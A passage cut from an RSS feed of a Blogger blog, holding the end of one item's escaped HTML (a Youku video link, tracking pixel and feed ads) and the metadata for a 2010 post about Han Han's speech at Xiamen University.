/&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://v.youku.com/v_show/id_XMTQ5NTQ0NTc2.html"&gt;http://v.youku.com/v_show/id_XMTQ5NTQ0NTc2.html&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7033598-735884121405224000?l=hax4.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/6ulnK6z8hezT_tpiWLpv74mn-hg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6ulnK6z8hezT_tpiWLpv74mn-hg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/6ulnK6z8hezT_tpiWLpv74mn-hg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6ulnK6z8hezT_tpiWLpv74mn-hg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://feedproxy.google.com/~r/hahahaha_hax4/~3/L2cUWi2eusI/han-hans-speech-at-xiamen-university.html</link><author>noreply@blogger.com (HAx4)</author><thr:total>0</thr:total><feedburner:origLink>http://hax4.blogspot.com/2010/02/han-hans-speech-at-xiamen-university.html</feedburner:origLink></item></channel></rss>

